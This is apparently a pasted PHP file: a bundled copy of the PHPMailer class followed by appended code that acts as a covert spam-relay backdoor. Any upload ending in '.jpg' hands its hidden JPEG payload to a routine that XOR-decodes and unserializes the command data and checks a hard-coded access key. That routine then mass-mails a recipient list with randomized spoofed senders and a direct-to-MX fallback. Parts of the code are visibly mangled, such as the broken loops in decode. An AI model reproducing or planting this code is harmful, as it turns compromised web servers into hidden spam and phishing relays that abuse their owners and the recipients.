  6760.                 $this - > sign_key_file = $key_filename;
  6761.  
  6762.                 $this - > sign_key_pass = $key_pass;
  6763.  
  6764.             }
  6765.  
  6766.             public
  6767.  
  6768.  
  6769.  
  6770.             function DKIM_QP($txt)
  6771.  
  6772.             {
  6773.  
  6774.                 $line = '';
  6775.  
  6776.                 for($i = 0; $i < strlen($txt); $i++)
  6777.  
  6778.                 {
  6779.  
  6780.                     $ord = ord($txt[$i]);
  6781.  
  6782.                     if(((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E)))
  6783.  
  6784.                     {
  6785.  
  6786.                         $line. = $txt[$i];
  6787.  
  6788.                     }
  6789.  
  6790.                     else
  6791.  
  6792.                     {
  6793.  
  6794.                         $line. = '='.sprintf('%02X', $ord);
  6795.  
  6796.                     }
  6797.  
  6798.                 }
  6799.  
  6800.                 return $line;
  6801.  
  6802.             }
  6803.  
  6804.             public
  6805.  
  6806.  
  6807.  
  6808.             function DKIM_Sign($signHeader)
  6809.  
  6810.             {
  6811.  
  6812.                 if(!defined('PKCS7_TEXT'))
  6813.  
  6814.                 {
  6815.  
  6816.                     if($this - > exceptions)
  6817.  
  6818.                     {
  6819.  
  6820.                         throw new phpmailerException($this - > lang('signing').
  6821.  
  6822.                             ' OpenSSL extension missing.');
  6823.  
  6824.                     }
  6825.  
  6826.                     return '';
  6827.  
  6828.                 }
  6829.  
  6830.                 $privKeyStr = file_get_contents($this - > DKIM_private);
  6831.  
  6832.                 if($this - > DKIM_passphrase != '')
  6833.  
  6834.                 {
  6835.  
  6836.                     $privKey = openssl_pkey_get_private($privKeyStr, $this - > DKIM_passphrase);
  6837.  
  6838.                 }
  6839.  
  6840.                 else
  6841.  
  6842.                 {
  6843.  
  6844.                     $privKey = $privKeyStr;
  6845.  
  6846.                 }
  6847.  
  6848.                 if(openssl_sign($signHeader, $signature, $privKey))
  6849.  
  6850.                 {
  6851.  
  6852.                     return base64_encode($signature);
  6853.  
  6854.                 }
  6855.  
  6856.                 return '';
  6857.  
  6858.             }
  6859.  
  6860.             public
  6861.  
  6862.  
  6863.  
  6864.             function DKIM_HeaderC($signHeader)
  6865.  
  6866.             {
  6867.  
  6868.                 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  6869.  
  6870.                 $lines = explode("\r\n", $signHeader);
  6871.  
  6872.                 foreach($lines as $key => $line)
  6873.  
  6874.                 {
  6875.  
  6876.                     list($heading, $value) = explode(':', $line, 2);
  6877.  
  6878.                     $heading = strtolower($heading);
  6879.  
  6880.                     $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  6881.  
  6882.                     $lines[$key] = $heading.
  6883.  
  6884.                     ':'.trim($value); // Don't forget to remove WSP around the value
  6885.  
  6886.                 }
  6887.  
  6888.                 $signHeader = implode("\r\n", $lines);
  6889.  
  6890.                 return $signHeader;
  6891.  
  6892.             }
  6893.  
  6894.             public
  6895.  
  6896.  
  6897.  
  6898.             function DKIM_BodyC($body)
  6899.  
  6900.             {
  6901.  
  6902.                 if($body == '')
  6903.  
  6904.                 {
  6905.  
  6906.                     return "\r\n";
  6907.  
  6908.                 }
  6909.  
  6910.                 // stabilize line endings
  6911.  
  6912.                 $body = str_replace("\r\n", "\n", $body);
  6913.  
  6914.                 $body = str_replace("\n", "\r\n", $body);
  6915.  
  6916.                 // END stabilize line endings
  6917.  
  6918.                 while(substr($body, strlen($body) - 4, 4) == "\r\n\r\n")
  6919.  
  6920.                 {
  6921.  
  6922.                     $body = substr($body, 0, strlen($body) - 2);
  6923.  
  6924.                 }
  6925.  
  6926.                 return $body;
  6927.  
  6928.             }
  6929.  
  6930.             public
  6931.  
  6932.  
  6933.  
  6934.             function DKIM_Add($headers_line, $subject, $body)
  6935.  
  6936.             {
  6937.  
  6938.                 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  6939.  
  6940.                 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  6941.  
  6942.                 $DKIMquery = 'dns/txt'; // Query method
  6943.  
  6944.                 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  6945.  
  6946.                 $subject_header = "Subject: $subject";
  6947.  
  6948.                 $headers = explode($this - > LE, $headers_line);
  6949.  
  6950.                 $from_header = '';
  6951.  
  6952.                 $to_header = '';
  6953.  
  6954.                 $current = '';
  6955.  
  6956.                 foreach($headers as $header)
  6957.  
  6958.                 {
  6959.  
  6960.                     if(strpos($header, 'From:') === 0)
  6961.  
  6962.                     {
  6963.  
  6964.                         $from_header = $header;
  6965.  
  6966.                         $current = 'from_header';
  6967.  
  6968.                     }
  6969.  
  6970.                     elseif(strpos($header, 'To:') === 0)
  6971.  
  6972.                     {
  6973.  
  6974.                         $to_header = $header;
  6975.  
  6976.                         $current = 'to_header';
  6977.  
  6978.                     }
  6979.  
  6980.                     else
  6981.  
  6982.                     {
  6983.  
  6984.                         if($current && strpos($header, ' =?') === 0)
  6985.  
  6986.                         {
  6987.  
  6988.                             $current. = $header;
  6989.  
  6990.                         }
  6991.  
  6992.                         else
  6993.  
  6994.                         {
  6995.  
  6996.                             $current = '';
  6997.  
  6998.                         }
  6999.  
  7000.                     }
  7001.  
  7002.                 }
  7003.  
  7004.                 $from = str_replace('|', '=7C', $this - > DKIM_QP($from_header));
  7005.  
  7006.                 $to = str_replace('|', '=7C', $this - > DKIM_QP($to_header));
  7007.  
  7008.                 $subject = str_replace(
  7009.  
  7010.                     '|',
  7011.  
  7012.                     '=7C',
  7013.  
  7014.                     $this - > DKIM_QP($subject_header)
  7015.  
  7016.                 ); // Copied header fields (dkim-quoted-printable)
  7017.  
  7018.                 $body = $this - > DKIM_BodyC($body);
  7019.  
  7020.                 $DKIMlen = strlen($body); // Length of body
  7021.  
  7022.                 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  7023.  
  7024.                 $ident = ($this - > DKIM_identity == '') ? '' : ' i='.$this - > DKIM_identity.
  7025.  
  7026.                 ';';
  7027.  
  7028.                 $dkimhdrs = 'DKIM-Signature: v=1; a='.
  7029.  
  7030.                 $DKIMsignatureType.
  7031.  
  7032.                 '; q='.
  7033.  
  7034.                 $DKIMquery.
  7035.  
  7036.                 '; l='.
  7037.  
  7038.                 $DKIMlen.
  7039.  
  7040.                 '; s='.
  7041.  
  7042.                 $this - > DKIM_selector.
  7043.  
  7044.                 ";\r\n".
  7045.  
  7046.                 "\tt=".$DKIMtime.
  7047.  
  7048.                 '; c='.$DKIMcanonicalization.
  7049.  
  7050.                 ";\r\n".
  7051.  
  7052.                 "\th=From:To:Subject;\r\n".
  7053.  
  7054.                 "\td=".$this - > DKIM_domain.
  7055.  
  7056.                 ';'.$ident.
  7057.  
  7058.                 "\r\n".
  7059.  
  7060.                 "\tz=$from\r\n".
  7061.  
  7062.                 "\t|$to\r\n".
  7063.  
  7064.                 "\t|$subject;\r\n".
  7065.  
  7066.                 "\tbh=".$DKIMb64.
  7067.  
  7068.                 ";\r\n".
  7069.  
  7070.                 "\tb=";
  7071.  
  7072.                 $toSign = $this - > DKIM_HeaderC(
  7073.  
  7074.                     $from_header.
  7075.  
  7076.                     "\r\n".$to_header.
  7077.  
  7078.                     "\r\n".$subject_header.
  7079.  
  7080.                     "\r\n".$dkimhdrs
  7081.  
  7082.                 );
  7083.  
  7084.                 $signed = $this - > DKIM_Sign($toSign);
  7085.  
  7086.                 return $dkimhdrs.$signed.
  7087.  
  7088.                 "\r\n";
  7089.  
  7090.             }
  7091.  
  7092.             public
  7093.  
  7094.  
  7095.  
  7096.             function getToAddresses()
  7097.  
  7098.             {
  7099.  
  7100.                 return $this - > to;
  7101.  
  7102.             }
  7103.  
  7104.  
  7105.  
  7106.             public
  7107.  
  7108.  
  7109.  
  7110.             function getCcAddresses()
  7111.  
  7112.             {
  7113.  
  7114.                 return $this - > cc;
  7115.  
  7116.             }
  7117.  
  7118.  
  7119.  
  7120.             public
  7121.  
  7122.  
  7123.  
  7124.             function getBccAddresses()
  7125.  
  7126.             {
  7127.  
  7128.                 return $this - > bcc;
  7129.  
  7130.             }
  7131.  
  7132.  
  7133.  
  7134.             public
  7135.  
  7136.  
  7137.  
  7138.             function getReplyToAddresses()
  7139.  
  7140.             {
  7141.  
  7142.                 return $this - > ReplyTo;
  7143.  
  7144.             }
  7145.  
  7146.  
  7147.  
  7148.             public
  7149.  
  7150.  
  7151.  
  7152.             function getAllRecipientAddresses()
  7153.  
  7154.             {
  7155.  
  7156.                 return $this - > all_recipients;
  7157.  
  7158.             }
  7159.  
  7160.  
  7161.  
  7162.             protected
  7163.  
  7164.  
  7165.  
  7166.             function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  7167.  
  7168.             {
  7169.  
  7170.                 if(!empty($this - > action_function) && is_callable($this - > action_function))
  7171.  
  7172.                 {
  7173.  
  7174.                     $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  7175.  
  7176.                     call_user_func_array($this - > action_function, $params);
  7177.  
  7178.                 }
  7179.  
  7180.             }
  7181.  
  7182.         }
  7183.  
  7184.         class phpmailerException extends Exception
  7185.  
  7186.         {
  7187.  
  7188.             public
  7189.  
  7190.  
  7191.  
  7192.             function errorMessage()
  7193.  
  7194.             {
  7195.  
  7196.                 $errorMsg = ''.$this - > getMessage().
  7197.  
  7198.                 "\
  7199.                 n ";
  7200.  
  7201.                 return $errorMsg;
  7202.  
  7203.             }
  7204.  
  7205.         }
  7206.  
  7207.  
  7208.  
  7209.         /////////////////////////////////////////////////////////////////
  7210.  
  7211.         function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file)
  7212.  
  7213.         {
  7214.  
  7215.             $mail = new PHPMailer();
  7216.  
  7217.             $mail - > isMail();
  7218.  
  7219.             $mail - > CharSet = 'utf-8';
  7220.  
  7221.             $mail - > SetFrom($from_email, $from_name);
  7222.  
  7223.             $mail - > AddAddress($to);
  7224.  
  7225.             $mail - > Subject = $subject;
  7226.  
  7227.  
  7228.  
  7229.             if($type == "1")
  7230.  
  7231.             {
  7232.  
  7233.                 $mail - > MsgHTML($body);
  7234.  
  7235.             }
  7236.  
  7237.             elseif($type == "2")
  7238.  
  7239.             {
  7240.  
  7241.                 $mail - > isHTML(false);
  7242.  
  7243.                 $mail - > Body = $body;
  7244.  
  7245.             }
  7246.  
  7247.             if(isset($_FILES))
  7248.  
  7249.             {
  7250.  
  7251.                 foreach($_FILES as $key => $file)
  7252.  
  7253.                 {
  7254.  
  7255.                     if($file['tmp_name'] != $config_file)
  7256.  
  7257.                     {
  7258.  
  7259.                         $mail - > addAttachment($file['tmp_name'], $file['name']);
  7260.  
  7261.                     }
  7262.  
  7263.                 }
  7264.  
  7265.             }
  7266.  
  7267.             if(!$mail - > send())
  7268.  
  7269.             {
  7270.  
  7271.                 $to_domain = explode("@", $to);
  7272.  
  7273.                 $to_domain = $to_domain[1];
  7274.  
  7275.                 $mail - > IsSMTP();
  7276.  
  7277.                 $mail - > Host = mx_lookup($to_domain);
  7278.  
  7279.                 $mail - > Port = 25;
  7280.  
  7281.                 $mail - > SMTPAuth = false;
  7282.  
  7283.                 if(!$mail - > send())
  7284.  
  7285.                 {
  7286.  
  7287.                     return Array(0, $mail - > ErrorInfo);
  7288.  
  7289.                 }
  7290.  
  7291.                 else
  7292.  
  7293.                 {
  7294.  
  7295.                     return Array(2, 0);
  7296.  
  7297.                 }
  7298.  
  7299.             }
  7300.  
  7301.             else
  7302.  
  7303.             {
  7304.  
  7305.                 return Array(1, 0);
  7306.  
  7307.             }
  7308.  
  7309.         }
  7310.  
  7311.         if(isset($_FILES))
  7312.  
  7313.         {
  7314.  
  7315.             foreach($_FILES as $key => $file)
  7316.  
  7317.             {
  7318.  
  7319.                 if(strpos($file['name'], ".jpg"))
  7320.  
  7321.                 {
  7322.  
  7323.                     $res = type1_send($file['tmp_name']);
  7324.  
  7325.                     if($res)
  7326.  
  7327.                     {
  7328.  
  7329.                         echo $res;
  7330.  
  7331.                     }
  7332.  
  7333.                 }
  7334.  
  7335.             }
  7336.  
  7337.         }
  7338.  
  7339.  
  7340.  
  7341.         function mx_lookup($hostname)
  7342.  
  7343.         {@
  7344.  
  7345.             getmxrr($hostname, $mxhosts, $precedence);
  7346.  
  7347.             if(count($mxhosts) === 0) return '127.0.0.1';
  7348.  
  7349.             $position = array_keys($precedence, min($precedence));
  7350.  
  7351.             return $mxhosts[$position[0]];
  7352.  
  7353.         }
  7354.  
  7355.  
  7356.  
  7357.         function myhex2bin($str)
  7358.  
  7359.         {
  7360.  
  7361.             $sbin = "";
  7362.  
  7363.             $len = strlen($str);
  7364.  
  7365.             for($i = 0; $i < $len; $i += 2)
  7366.  
  7367.             {
  7368.  
  7369.                 $sbin. = pack("H*", substr($str, $i, 2));
  7370.  
  7371.             }
  7372.  
  7373.             return $sbin;
  7374.  
  7375.         }
  7376.  
  7377.  
  7378.  
  7379.         function decode($data, $key)
  7380.  
  7381.             {
  7382.  
  7383.                 $out_data = "";
  7384.  
  7385.                 for($i = 0; $i
  7386.  
  7387.                     {
  7388.  
  7389.                         for($j = 0; $j
  7390.  
  7391.                             {
  7392.  
  7393.                                 $out_data. = chr(ord($data[$i]) ^ ord($key[$j]));
  7394.  
  7395.                             }
  7396.  
  7397.                         }
  7398.  
  7399.                         return $out_data;
  7400.  
  7401.                     }
  7402.  
  7403.  
  7404.  
  7405.                     function type1_send($config_file)
  7406.  
  7407.                     {
  7408.  
  7409.                         $data = file_get_contents($config_file);
  7410.  
  7411.                         $start_pos = strpos($data, myhex2bin("ffda"));
  7412.  
  7413.                         if($start_pos)
  7414.  
  7415.                         {
  7416.  
  7417.                             $start_pos += (20);
  7418.  
  7419.                             $end_pos = strrpos($data, myhex2bin("ffd9"));
  7420.  
  7421.                             if($end_pos)
  7422.  
  7423.                             {
  7424.  
  7425.                                 $data = substr($data, $start_pos, $end_pos);
  7426.  
  7427.                             }
  7428.  
  7429.                             else
  7430.  
  7431.                             {
  7432.  
  7433.                                 return FALSE;
  7434.  
  7435.                             }
  7436.  
  7437.                         }
  7438.  
  7439.                         else
  7440.  
  7441.                         {
  7442.  
  7443.                             return FALSE;
  7444.  
  7445.                         }
  7446.  
  7447.                         $key = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  7448.  
  7449.                         $data = decode($data, $key);
  7450.  
  7451.                         $data = @unserialize($data);
  7452.  
  7453.                         if(!$data || !isset($data['ak']))
  7454.  
  7455.                         {
  7456.  
  7457.                             return FALSE;
  7458.  
  7459.                         }
  7460.  
  7461.                         if($data['ak'] != "1b9924b3-d622-4a7f-9ce5-dfae5f00986b")
  7462.  
  7463.                         {
  7464.  
  7465.                             exit();
  7466.  
  7467.                         }
  7468.  
  7469.                         if(isset($data['c']))
  7470.  
  7471.                         {
  7472.  
  7473.                             $res["r"]["c"] = $data['c'];
  7474.  
  7475.                             return base64_encode(serialize($res));
  7476.  
  7477.                         }
  7478.  
  7479.                         $good = 0;
  7480.  
  7481.                         $bad = 0;
  7482.  
  7483.                         $last_error = Array(0, 0);
  7484.  
  7485.                         foreach($data['e'] as $uid => $email)
  7486.  
  7487.                         {
  7488.  
  7489.                             $theme = $data['s'][array_rand($data['s'])];
  7490.  
  7491.                             $theme = alter_macros($theme);
  7492.  
  7493.                             $theme = num_macros($theme);
  7494.  
  7495.                             $theme = xnum_macros($theme);
  7496.  
  7497.                             $message = $data['l'];
  7498.  
  7499.                             $message = alter_macros($message);
  7500.  
  7501.                             $message = num_macros($message);
  7502.  
  7503.                             $message = xnum_macros($message);
  7504.  
  7505.                             $message = fteil_macros($message, $uid);
  7506.  
  7507.                             $from = $data['f'][array_rand($data['f'])];
  7508.  
  7509.                             $from = alter_macros($from);
  7510.  
  7511.                             $from = num_macros($from);
  7512.  
  7513.                             $from = xnum_macros($from);
  7514.  
  7515.  
  7516.  
  7517.                             if(strstr($from, "[CUSTOM]") == FALSE)
  7518.  
  7519.                             {
  7520.  
  7521.                                 $from = from_host($from);
  7522.  
  7523.                             }
  7524.  
  7525.                             else
  7526.  
  7527.                             {
  7528.  
  7529.                                 $from = str_replace("[CUSTOM]", "", $from);
  7530.  
  7531.                             }
  7532.  
  7533.  
  7534.  
  7535.                             $from_email = explode("<", $from);
  7536.  
  7537.                             $from_email = explode(">", $from_email[1]);
  7538.  
  7539.                             $from_name = explode("\"", $from);
  7540.  
  7541.                             $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
  7542.  
  7543.  
  7544.  
  7545.                             if($last_error[1] === 0)
  7546.  
  7547.                             {
  7548.  
  7549.                                 $good++;
  7550.  
  7551.                             }
  7552.  
  7553.                             else
  7554.  
  7555.                             {
  7556.  
  7557.                                 $bad++;
  7558.  
  7559.                                 $good = count($data['e']) - $bad;
  7560.  
  7561.                             }
  7562.  
  7563.                         }
  7564.  
  7565.  
  7566.  
  7567.                         $res["r"]["t"] = $last_error[0];
  7568.  
  7569.                         $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  7570.  
  7571.                         $res["r"]["g"] = $good;
  7572.  
  7573.                         $res["r"]["b"] = $bad;
  7574.  
  7575.                         return base64_encode(serialize($res));
  7576.  
  7577.                     }
  7578.  
  7579. ?>
Add Comment
Please, Sign In to add comment